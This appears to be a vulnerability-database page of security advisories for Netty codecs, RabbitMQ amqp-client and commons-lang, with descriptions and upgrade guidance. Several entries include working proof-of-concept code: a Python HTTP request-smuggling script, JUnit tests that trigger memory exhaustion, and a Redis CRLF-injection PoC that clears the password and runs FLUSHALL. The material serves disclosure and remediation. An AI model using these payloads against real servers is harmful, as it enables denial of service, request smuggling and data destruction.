Find, fix and prevent vulnerabilities in your code.

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via the ClassUtils.getClass function. An attacker can cause the application to terminate unexpectedly by providing excessively long input values.

Remediation

There is no fixed version for commons-lang:commons-lang.

References

• Apache Pony Mail
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Null Byte Interaction Error (Poison Null Byte) due to inadequate validation of domain name labels and lengths in the encodeDomainName and decodeDomainName components. An attacker can cause DNS cache poisoning, bypass domain validation, or trigger excessive memory allocation by supplying specially crafted domain names or malicious DNS responses. This can result in downstream failures, silent truncation of domain names, and parser confusion across different DNS implementations.

Remediation

Upgrade io.netty:netty-codec-dns to version 4.1.133.Final, 4.2.13.Final or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpClientCodec component. An attacker can cause response desynchronization and potentially compromise the integrity and availability of HTTP parsing by sending crafted HTTP/1.1 pipelined requests that include a HEAD request and trigger the server to send 1xx responses. This can result in unsafe reuse of the socket and misinterpretation of response bodies.

Note:

This is only exploitable if HTTP/1.1 pipelining is used, a HEAD request is present in the pipeline, and the server sends 1xx responses.

PoC

    @Test
    public void test() {
        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
        ByteBuf request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
        request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
                "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
                "HTTP/1.1 200 OK\r\n\r\n";
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));

        // Response 1
        HttpResponse response = channel.readInbound();
        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
        LastHttpContent last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 2
        response = channel.readInbound();
        assertEquals(HttpResponseStatus.OK, response.status());
        last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 3
        FullHttpResponse response1 = channel.readInbound();
        assertTrue(response1.decoderResult().isFailure());
        assertEquals(0, response1.content().readableBytes());
        response1.release();

        assertFalse(channel.finish());
    }

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value via the readBytes() method in src/main/java/com/rabbitmq/client/impl/ValueReader.java. An attacker can trigger a JVM OutOfMemoryError by sending an AMQP field or long string with a declared length that causes the reader to allocate a byte array before verifying that the frame actually contains that many bytes. The vulnerable code trusts the wire length prefix and creates new byte[(int)contentLength] for any value below Integer.MAX_VALUE. A malicious peer can supply a near-2GB length and crash the client process before readFully() can reject the frame.

Remediation

Upgrade com.rabbitmq:amqp-client to version 5.33.1 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• Maintainer's Advisory

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion in ValueReader table and array parsing. An attacker can crash the client JVM by sending a deeply nested AMQP field value, such as a connection.start frame containing recursively nested tables or arrays. The issue lives in src/main/java/com/rabbitmq/client/impl/ValueReader.java, where readTable() and readArray() recurse through readFieldValue() without any nesting limit. A malicious AMQP peer can trigger a StackOverflowError, killing the client’s I/O thread and causing a denial of service.

Remediation

Upgrade com.rabbitmq:amqp-client to version 5.33.1 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Infinite loop in the Bzip2Decoder handler's run-length encoding state machine. An attacker can cause the event-loop thread to hang indefinitely by supplying a specially crafted bzip2 stream that triggers an infinite loop during decompression.

Remediation

Upgrade io.netty:netty-codec to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Lz4FrameDecoder component. An attacker can cause excessive memory allocation by sending specially crafted compressed data with manipulated header fields, leading to resource exhaustion and potential denial of service.

PoC

    @Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);

            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });

            ChannelFuture serverChannel = server.bind(0).sync();

            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);

                            ctx.writeAndFlush(buf);

                            ctx.fireChannelActive();
                        }
                    });

            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

            assertTrue(latch.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

            clientChannel.channel().close();
            serverChannel.channel().close();
        } finally {
            workerGroup.shutdownGracefully();
        }
    }

Remediation

Upgrade io.netty:netty-codec-compression to version 4.2.13.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the HttpContentDecompressor and DelegatingDecompressorFrameListener components when the Content-Encoding header is set to br, zstd, or snappy. An attacker can exhaust system memory and cause a denial of service by sending a highly compressed payload that decompresses to a very large size, bypassing the configured decompression limit.

Remediation

Upgrade io.netty:netty-codec-compression to version 4.2.13.Final or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Infinite loop in the Bzip2Decoder handler's run-length encoding state machine. An attacker can cause the event-loop thread to hang indefinitely by supplying a specially crafted bzip2 stream that triggers an infinite loop during decompression.

Remediation

Upgrade io.netty:netty-codec-compression to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the HAProxyMessageDecoder. An attacker can cause unbounded memory allocation by sending a specially crafted PROXY protocol v2 binary prefix with a version byte of 0xFF, which collides with the decoder's sentinel value and leads to continuous accumulation of inbound bytes until memory is exhausted.

Remediation

Upgrade io.netty:netty-codec-haproxy to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime in the parsing process of nested PP2_TYPE_SSL TLVs within the HAProxy PROXY protocol v2 codec. An attacker can cause memory exhaustion by sending syntactically valid headers containing deeply nested PP2_TYPE_SSL TLVs, which leads to a memory leak as the underlying buffer remains pinned.

Remediation

Upgrade io.netty:netty-codec-haproxy to version 4.1.135.Final, 4.2.15.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime through improper handling of TLV length in the readNextTLV function. An attacker can cause resource exhaustion and denial of service by sending a specially crafted HAProxy protocol message with a TLV length below the required minimum, leading to an unreleased retained slice and eventual memory leak.

Remediation

Upgrade io.netty:netty-codec-haproxy to version 4.1.135.Final, 4.2.15.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the SpdyFrameCodec pipeline. An attacker can exhaust system resources by sending a small compressed HEADERS block that expands into significantly larger raw header data, leading to excessive CPU and memory allocation.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the SpdyHttpDecoder. An attacker can cause native memory exhaustion by sending a client-initiated SYN_STREAM frame with FLAG_FIN=0 followed by a RST_STREAM frame or by exceeding the maximum content length, which leads to unreleased pooled ByteBuf allocations.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the processing of SPDY SETTINGS frames in the SpdyFrameCodec.decode function. An attacker can cause excessive memory allocation and CPU consumption by sending a specially crafted SETTINGS frame with a large number of unique setting IDs, leading to resource exhaustion on the target system.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release
• NVD

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the parsing of quoted strings within chunked transfer encoding extension values. An attacker can inject arbitrary HTTP requests into a connection by crafting chunk extensions containing carriage return or line feed bytes, leading to parsing discrepancies between the server and RFC-compliant intermediaries.

PoC

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.132.Final, 4.2.12.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling when parsed HTTP requests contain malformed Transfer-Encoding headers. An attacker can inject unauthorized HTTP requests by crafting a request with a Transfer-Encoding: chunked, identity header, which is incorrectly interpreted, allowing the attacker to smuggle additional requests through the connection.

PoC

@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Http2Decompressor.decompress. An attacker can exhaust direct memory and cause the JVM to crash by sending crafted HTTP/2 DATA frames to applications that have HTTP/2 content decompression enabled via DelegatingDecompressorFrameListener.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the HttpContentDecompressor and DelegatingDecompressorFrameListener components when the Content-Encoding header is set to br, zstd, or snappy. An attacker can exhaust system memory and cause a denial of service by sending a highly compressed payload that decompresses to a very large size, bypassing the configured decompression limit.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.133.Final, 4.2.13.Final or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in shouldWaitForDynamicTableUpdates in QpackDecoder. An attacker can open an indefinite number of persistently blocked streams by sending headers that reference dynamic table entries the server has not yet received. Each stream's ReadResumptionListener is retained for the connection's lifetime, exhausting memory and crashing the JVM.

Workaround

This vulnerability can be avoided by setting HTTP3_SETTINGS_QPACK_BLOCKED_STREAMS to a nonzero value.

Remediation

Upgrade io.netty:netty-codec-http3 to version 4.2.15.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Http3FrameCodec. An attacker can exhaust system memory by sending multiple QUIC streams with reserved frames specifying excessively large payload lengths.

Remediation

Upgrade io.netty:netty-codec-http3 to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Insecure Default Initialization of Resource due to the lack of an enforced maximum header size limit in the default configuration of the Http3ConnectionHandler. An attacker can exhaust server memory and cause application crashes by continuously sending large or numerous HTTP/3 headers within a connection.

Remediation

Upgrade io.netty:netty-codec-http3 to version 4.2.15.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value through the decodeHuffmanEncodedLiteral function in the QPACK decoder, which allocates memory for a byte array based on a length value received from the network without verifying that sufficient data is present. An attacker can cause excessive memory allocation, leading to server slowdown, stalling, or crashing by sending specially crafted HTTP/3 HEADERS frames with malicious QPACK sections.

PoC

    @Test
    public void test() throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
        try {
            X509Bundle cert = new CertificateBuilder()
                    .subject("cn=localhost")
                    .setIsCertificateAuthority(true)
                    .buildSelfSigned();

            QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
                    .applicationProtocols(Http3.supportedApplicationProtocols())
                    .build();

            AtomicReference<Throwable> serverErrors = new AtomicReference<>();
            CountDownLatch serverConnectionClosed = new CountDownLatch(1);

            ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
                    .sslContext(serverContext)
                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
                    .initialMaxData(10_000_000)
                    .initialMaxStreamDataBidirectionalLocal(1_000_000)
                    .initialMaxStreamDataBidirectionalRemote(1_000_000)
                    .initialMaxStreamsBidirectional(100)
                    .tokenHandler(InsecureQuicTokenHandler.INSTANCE)
                    .handler(new ChannelInitializer<QuicChannel>() {
                        @Override
                        protected void initChannel(QuicChannel ch) {
                            ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
                            ch.pipeline().addLast(new Http3ServerConnectionHandler(
                                    new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverErrors.set(cause.getCause());
                                            } else {
                                                serverErrors.set(cause);
                                            }
                                        }
                                    }));
                        }
                    })
                    .build();

            Channel server = new Bootstrap()
                    .group(group)
                    .channel(NioDatagramChannel.class)
                    .handler(serverCodec)
                    .bind("127.0.0.1", 0)
                    .sync()
                    .channel();

            QuicSslContext clientContext = QuicSslContextBuilder.forClient()
                    .trustManager(InsecureTrustManagerFactory.INSTANCE)
                    .applicationProtocols(Http3.supportedApplicationProtocols())
                    .build();

            ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
                    .sslContext(clientContext)
                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
                    .initialMaxData(10000000)
                    .initialMaxStreamDataBidirectionalLocal(1000000)
                    .build();

            Channel client = new Bootstrap()
                    .group(group)
                    .channel(NioDatagramChannel.class)
                    .handler(clientCodec)
                    .bind(0)
                    .sync()
                    .channel();

            QuicChannel quicChannel = QuicChannel.newBootstrap(client)
                    .handler(new Http3ClientConnectionHandler())
                    .remoteAddress(server.localAddress())
                    .localAddress(client.localAddress())
                    .connect()
                    .get();

            QuicStreamChannel rawStream =
                    quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();

            ByteBuf header = Unpooled.buffer();
            header.writeByte(0x01);
            header.writeByte(0x08);

            header.writeByte(0x00);
            header.writeByte(0x00);

            header.writeByte(0x27);
            header.writeByte(0x80);
            header.writeByte(0x80);
            header.writeByte(0x80);
            header.writeByte(0x80);
            header.writeByte(0x04);

            rawStream.writeAndFlush(header).sync();

            assertTrue(serverConnectionClosed.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverErrors.get());

            quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
            server.close().sync();
            client.close().sync();
        } finally {
            group.shutdownGracefully();
        }
    }

Remediation

Upgrade io.netty:netty-codec-http3 to version 4.2.13.Final or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the decodeLength function. An attacker can exhaust the server's direct memory pool by sending continuous streams of digits without a terminating \r\n across multiple concurrent connections, which prevents legitimate connections from being processed.

Note:

This is only exploitable if an attacker is able to open multiple concurrent connections and distribute unbounded payloads among them.

Remediation

Upgrade io.netty:netty-codec-redis to version 4.1.135.Final, 4.2.15.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in RedisArrayAggregator. An attacker who sends a small RESP array header declaring a very large element count can force the aggregator to reserve a large ArrayList via the AggregateState constructor, before any child elements are sent, exhausting memory.

Remediation

Upgrade io.netty:netty-codec-redis to version 4.1.135.Final, 4.2.15.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) in the RedisArrayAggregator function. An attacker can exhaust system memory by sending specially crafted Redis payloads containing deeply nested arrays, resulting in allocation of excessive state objects and collections.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-codec-redis to version 4.1.135.Final, 4.2.15.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime due to improper cleanup of pooled direct-memory buffers in the RedisArrayAggregator function. An attacker can exhaust the JVM-wide direct-memory pool by repeatedly opening and closing pipeline connections before a RESP array aggregate completes, leading to allocation failures across all channels.

Remediation

Upgrade io.netty:netty-codec-redis to version 4.1.135.Final, 4.2.15.Final or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the StompSubframeDecoder process. An attacker can exhaust system memory and cause a server crash by sending a large number of short headers in a single STOMP frame, resulting in an OutOfMemoryError.

Remediation

Upgrade io.netty:netty-codec-stomp to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the XmlFrameDecoder process. An attacker can cause the server's EventLoop thread to exhaust CPU resources and become unresponsive by sending a specially crafted XML payload, such as repeated </ characters, which forces the decoder to repeatedly rescan the entire buffer.

Remediation

Upgrade io.netty:netty-codec-xml to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release

Overview

Affected versions of this package are vulnerable to Unchecked Input for Loop Condition via CPU exhaustion through the XML framing logic in codec-xml/src/main/java/io/netty/handler/codec/xml/XmlFrameDecoder.java. An attacker can monopolize the server's EventLoop thread by sending a trickle of malformed XML data, such as repeated </ sequences, that forces the decoder to rescan the accumulated buffer repeatedly. This can make any application using XmlFrameDecoder become unresponsive and unable to process other traffic on the affected connection or event loop.

Remediation

Upgrade io.netty:netty-codec-xml to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime in the handling of TCP connections with ALLOW_HALF_CLOSURE enabled when a remote peer sends a FIN followed by a RST. An attacker can cause resource exhaustion or high CPU utilization by repeatedly establishing such connections and triggering the described sequence, leading to stale channels that are never cleaned up and potential CPU busy-loops in the event loop thread.

Workaround

This vulnerability can be mitigated by configuring idle timeouts on connections to limit the lifetime of stale channels.

Remediation

Upgrade io.netty:netty-transport-classes-epoll to version 4.2.13.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to unbounded nesting of composite buffers in the SCTP message reassembly process. An attacker can exhaust system memory and cause a denial of service by sending a large number of incomplete message fragments, each creating deeper buffer chains without limit.

Remediation

Upgrade io.netty:netty-transport-sctp to version 4.1.135.Final, 4.2.15.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

Affected versions of this package are vulnerable to Improperly Controlled Sequential Memory Allocation due to unbounded buffering of incomplete SCTP message fragments. An attacker can trigger an OutOfMemoryError by sending large or many fragmented SCTP messages that the handler retains while waiting for completion. The handler limits fragment counts, but it does not cap the total bytes held across incomplete messages, so a small number of concurrent connections can accumulate enough buffered data to exhaust server memory and disrupt applications using Netty’s SCTP transport.

Remediation

Upgrade io.netty:netty-transport-sctp to version 4.1.137.Final, 4.2.17.Final or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• Maintainer's Advisory

Overview

Affected versions of this package are vulnerable to CRLF Injection in the RedisEncoder component. An attacker can inject arbitrary Redis commands or forge responses by supplying input containing CRLF sequences, which are not properly sanitized before being written to the network output buffer. This allows manipulation of the Redis protocol stream, potentially leading to unauthorized command execution or response poisoning.

Note:

This is only exploitable if user-controlled input is placed into InlineCommandRedisMessage, SimpleStringRedisMessage, or ErrorRedisMessage content, and the application does not perform its own CRLF sanitization before constructing these message objects.

PoC

import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.UnpooledByteBufAllocator;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.redis.*;

import java.nio.charset.StandardCharsets;
import java.util.List;
import java.util.ArrayList;

/**
 * PoC: Redis Encoder CRLF Injection Vulnerability
 *
 * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,
 * and ErrorRedisMessage do not validate content for CRLF characters,
 * allowing Redis command injection via the RESP protocol.
 */
public class RedisEncoderCRLFInjectionPoC {

    public static void main(String[] args) {
        System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n");

        testInlineCommandInjection();
        testSimpleStringInjection();
        testErrorMessageInjection();

        System.out.println("\n=== PoC Complete ===");
    }

    /**
     * Test 1: Inline Command Injection
     * An attacker-controlled string injected into InlineCommandRedisMessage
     * results in multiple Redis commands being sent.
     */
    static void testInlineCommandInjection() {
        System.out.println("[TEST 1] Inline Command CRLF Injection");
        System.out.println("----------------------------------------");

        // Malicious content: inject FLUSHALL after a benign PING
        String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        // This should be rejected but is accepted
        InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   InlineCommandRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // Count how many CRLF-delimited commands are in the output
        String[] commands = encoded.split("\r\n");
        System.out.println("Number of commands parsed by Redis: " + commands.length);
        for (int i = 0; i < commands.length; i++) {
            if (!commands[i].isEmpty()) {
                System.out.println("  Command " + (i + 1) + ": " + commands[i]);
            }
        }

        boolean vulnerable = commands.length > 1;
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO"));
        System.out.println();
    }

    /**
     * Test 2: SimpleString Response Injection
     * When Netty acts as a Redis proxy/middleware, a malicious SimpleString
     * can inject fake responses to the downstream client.
     */
    static void testSimpleStringInjection() {
        System.out.println("[TEST 2] SimpleString Response CRLF Injection");
        System.out.println("----------------------------------------------");

        // Malicious content: inject a fake bulk string response after OK
        String maliciousContent = "OK\r\n$6\r\nhacked";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   SimpleStringRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // The RESP protocol uses the first byte to determine type:
        // '+' = Simple String, '$' = Bulk String
        // A client parsing this would see:
        // 1. "+OK\r\n"       -> Simple String "OK"
        // 2. "$6\r\nhacked"  -> Bulk String "hacked" (injected!)
        boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO"));
        System.out.println();
    }

    /**
     * Test 3: Error Message Injection
     * Similar to SimpleString but with error messages.
     */
    static void testErrorMessageInjection() {
        System.out.println("[TEST 3] Error Message CRLF Injection");
        System.out.println("--------------------------------------");

        String maliciousContent = "ERR unknown\r\n+INJECTED_OK";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   ErrorRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO"));
        System.out.println();
    }
}

Remediation

Upgrade io.netty:netty-codec-redis to version 4.1.133.Final, 4.2.13.Final or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

